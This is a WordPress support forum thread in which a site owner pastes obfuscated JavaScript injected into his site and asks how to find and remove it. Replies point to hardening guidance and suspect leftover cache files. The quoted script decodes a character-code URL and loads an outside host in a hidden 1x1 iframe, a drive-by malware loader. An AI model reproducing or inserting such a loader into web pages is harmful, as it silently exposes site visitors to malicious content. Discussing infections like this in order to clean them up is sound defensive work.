Title: Malware Problem
Last modified: August 19, 2016

---

# Malware Problem

 *  [ajay182](https://wordpress.org/support/users/ajay182/)
 * (@ajay182)
 * [15 years, 8 months ago](https://wordpress.org/support/topic/malware-problem/)
 * Hi guys,
 * Getting alerts from firefox whenever accessing my site ([http://overratingtheunderrated.com](http://overratingtheunderrated.com))
   about badware/malware. I’ve found out through another forum that there is some
   bad code, but they haven’t told me where/how to find and delete it. Can anyone
   advise?
 * This is the code: <script> function getfncelement(a) { if (a==0) return ‘A104A116A116A112A58A47A47A99A108A101A97A110A102A105A108A101A46A110A101A116A47A46A112A104A47A50A47’;
   if (a==1) return ‘split’; if (a==2) return ‘fromCharCode’; if (a==3) return ‘
   IFRAME’; if (a==4) return 1; } var gnitssssssssssssssssss = String;
 * var a_bnMJnWIagV = getfncelement(0);
    var a_ErVOWoUayU = a_bnMJnWIagV[getfncelement(
   1)](“A”); var a_LEdeDyQRPa = “”; for (var a_frOsBBOKcu=1; a_frOsBBOKcu<a_ErVOWoUayU.
   length; a_frOsBBOKcu++) {a_LEdeDyQRPa+=gnitssssssssssssssssss[getfncelement(2)](
   a_ErVOWoUayU[a_frOsBBOKcu]);} var testFrame = document.createElement(getfncelement(
   3)); testFrame.src = a_LEdeDyQRPa; testFrame.width = getfncelement(4); testFrame.
   height = getfncelement(4); document.body.appendChild(testFrame);

Viewing 2 replies - 16 through 17 (of 17 total)

[←](https://wordpress.org/support/topic/malware-problem/?output_format=md) [1](https://wordpress.org/support/topic/malware-problem/?output_format=md)
2

 *  Moderator [James Huff](https://wordpress.org/support/users/macmanx/)
 * (@macmanx)
 * [15 years, 8 months ago](https://wordpress.org/support/topic/malware-problem/page/2/#post-1676894)
 * Yes, you’ll probably want to implement some (if not all) of [the recommended security measures](http://codex.wordpress.org/Hardening_WordPress).
 *  [kickoff3pm](https://wordpress.org/support/users/kickoff3pm/)
 * (@kickoff3pm)
 * [15 years, 1 month ago](https://wordpress.org/support/topic/malware-problem/page/2/#post-1677084)
 * I recently had this, not sure but found some code at the top of an old ceche 
   file I left in the wpcontent root. I had also left the ceche statements in the
   htaccess file so I assume it would be possible to piggy back those ceche files
   and redirect.

Viewing 2 replies - 16 through 17 (of 17 total)

[←](https://wordpress.org/support/topic/malware-problem/?output_format=md) [1](https://wordpress.org/support/topic/malware-problem/?output_format=md)
2

The topic ‘Malware Problem’ is closed to new replies.

## Tags

 * [infected](https://wordpress.org/support/topic-tag/infected/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 17 replies
 * 6 participants
 * Last reply from: [kickoff3pm](https://wordpress.org/support/users/kickoff3pm/)
 * Last activity: [15 years, 1 month ago](https://wordpress.org/support/topic/malware-problem/page/2/#post-1677084)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics